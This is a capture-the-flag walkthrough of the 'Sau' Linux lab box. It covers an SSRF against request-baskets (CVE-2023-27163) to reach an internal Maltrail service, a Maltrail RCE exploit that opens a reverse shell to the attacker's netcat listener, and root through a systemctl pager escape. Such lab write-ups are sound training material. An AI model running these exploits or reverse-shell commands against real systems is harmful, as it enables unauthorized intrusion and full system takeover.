Sau is an easy Linux box that is in active rotation at the time of writing.
This box overall provides a fairly obvious path unless you overlook the simple privilege escalation like I did and spend an hour on a rabbit-hole.
If you want a few hints without getting spoiler-ed:
For the initial foothold, consider abnormal port access and how an internal pivot might work.
If you want a little more of a hint, you're going to be doing a Server-Side Request Forgery.
For even more of a hint, you're SSRFing against localhost.
If you get stuck on the privesc, don't overthink it! I spent way too long trying to do an elaborate exploitation sequence when in reality, there was just a very simple privesc that you should check with manual enumeration.
As a hint, you're going to go down the obvious path of typing sudo -l
You don't need a special shell. You just need to follow the PoC for a known CVE associated with the sudo -l exploitation path.
Okay, that's enough hints. Let's go into the actual writeup.
We start off by running nmap against the host. Naturally we've already modified /etc/hosts to accomodate our target IP and the FQDN
We don't have to do anything special here. SSH is up and HTTP is firewalled off. That's curious. We probably should start thinking of ways to defeat a firewalled port. Port 55555 is open so let's explore that.
We get a website for web baskets. I honestly hadn't seen this format before so I had to do some Googling. Since we have a banner at the bottom, this will quickly lead to discovering a SSRF exploit.
If you want to play with the baskets, you can see different results from sending malicious payloads. I tried to do a few different attacks here ranging from LFI to a few different code executions. I did manage to get the victim server to reach out to my malicious host and download code but it didn't want to execute it even when I tried iframe rendering. Alas.
Here's an example of something I tried that didn't work.
It looked exciting but didn't actually achieve anything.
Okay so we can Google our banner from earlier and see that CVE-2023-27163 is probably going to be our path to go down.
Executing the exploit is fairly simple. What we're doing here is a classic SSRF vulnerability by modifying an API call to redirect to our malicious server... except we're not going anywhere malicious.
Remember that filtered port from earlier? Let's bypass the firewall via SSRF!
./exploit.sh http://10.10.11.224:55555 http://localhost:80
Now when we visit the basket it produces at http://10.10.11.224:55555/nxnxtu, we're given a new webpage.
This gives us an interesting-but-broken web interface for a security tool called Maltrail. It's polite enough to give us a banner so we can check for exploits.
Here we go. We can obtain RCE with this.
python3 51676.py 10.10.14.2 4444 http://10.10.11.224:55555/nxnxtu where nxnxtu is your basket from earlier. Don't forget to set up a nc listener with nc -lvnp 4444 or similar.
Hey, we have a shell.
Go grab the user flag from the home directory.
Just for fun, you can explore the Maltrail folder and find default credentials laying around.
At this point, we can easily go down rabbitholes but just typing sudo -l to see what we can run as root without a sudo password is the way to go.
Hey, we can run systemctl status trail.service as root. That normally would just give us some information about our security tool but this box has a secret: it's vulnerable to a CVE for sudoer file permissions.
Oh no, we have a privesc opportunity!
The given Proof of Concept seems easy enough. We're just going to run the command as normal and then type !/bin/sh
Just to be safe, we'll check our systemd version to verify it's vulnerable with systemd --version and we see it is, in fact, vulnerable.
From here we just run the exploit as explained in the PoC and obtain root!